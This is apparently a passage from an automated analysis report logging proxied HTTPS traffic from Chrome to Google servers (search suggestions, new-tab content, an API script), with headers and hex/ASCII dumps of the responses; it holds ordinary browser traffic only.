					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	142.250.185.132	443	1220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:21 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 07:17:21 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:21 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-gdHbIZXVpX1CvhOlAisK5Q' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 07:17:21 UTC	112	IN	Data Raw: 33 32 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 63 72 6f 73 73 77 6f 72 64 20 63 6c 75 65 73 22 2c 22 66 61 6e 74 61 73 79 20 66 6f 6f 74 62 61 6c 6c 20 77 61 69 76 65 72 20 77 69 72 65 20 77 65 65 6b 20 39 22 2c 22 77 61 6c 6d 61 72 74 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 61 64 20 32 30 32 34 22 2c 22 68 75 72 72 69 Data Ascii: 329)]}'["",["nyt crossword clues","fantasy football waiver wire week 9","walmart black friday ad 2024","hurri
2024-10-28 07:17:21 UTC	704	IN	Data Raw: 63 61 6e 65 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 22 2c 22 6d 61 6c 69 6b 20 6e 61 7a 65 62 61 20 6d 69 6e 61 68 69 6c 20 6d 61 6c 69 6b 20 76 69 72 61 6c 20 76 69 64 65 6f 22 2c 22 73 75 70 65 72 20 6d 61 72 69 6f 20 70 61 72 74 79 20 6a 61 6d 62 6f 72 65 65 20 6d 69 6e 69 67 61 6d 65 73 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 66 6f 72 65 63 61 73 74 22 2c 22 74 6f 70 20 68 6f 72 72 6f 72 20 6d 6f 76 69 65 73 20 32 30 32 34 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 Data Ascii: cane tropical storm","malik nazeba minahil malik viral video","super mario party jamboree minigames","aurora borealis forecast","top horror movies 2024"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgI
2024-10-28 07:17:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	142.250.185.132	443	1220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:21 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 07:17:21 UTC	1042	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 28 Oct 2024 07:17:21 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 07:17:21 UTC	336	IN	Data Raw: 32 32 33 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2236)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-28 07:17:21 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-28 07:17:21 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-28 07:17:21 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-28 07:17:21 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-28 07:17:21 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 32 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700302,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-28 07:17:21 UTC	1378	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-28 07:17:21 UTC	162	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 0d 0a Data Ascii: ;return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`$
2024-10-28 07:17:21 UTC	433	IN	Data Raw: 31 61 61 0d 0a 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 51 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f Data Ascii: 1aa{a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfunction(a){var b\u003d_.Qa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunctio
2024-10-28 07:17:21 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 72 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 65 65 5c 75 30 30 33 64 5f 2e 58 64 3b 5f 2e 69 65 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 6c 65 5c 75 30 30 33 64 2f Data Ascii: 8000){return _.Bb(_.re(a,b),c)};_.se\u003dfunction(a,b,c\u003d0){return _.Bb(_.S(a,b),c)};_.ue\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};ee\u003d_.Xd;_.ie\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};le\u003d/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	142.250.185.132	443	1220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:21 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 07:17:21 UTC	957	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 28 Oct 2024 07:17:21 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 07:17:21 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-28 07:17:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49752	142.250.186.174	443	1220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:25 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 07:17:25 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun, 27 Oct 2024 20:35:00 GMT Expires: Mon, 27 Oct 2025 20:35:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 38545 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-28 07:17:25 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-28 07:17:25 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
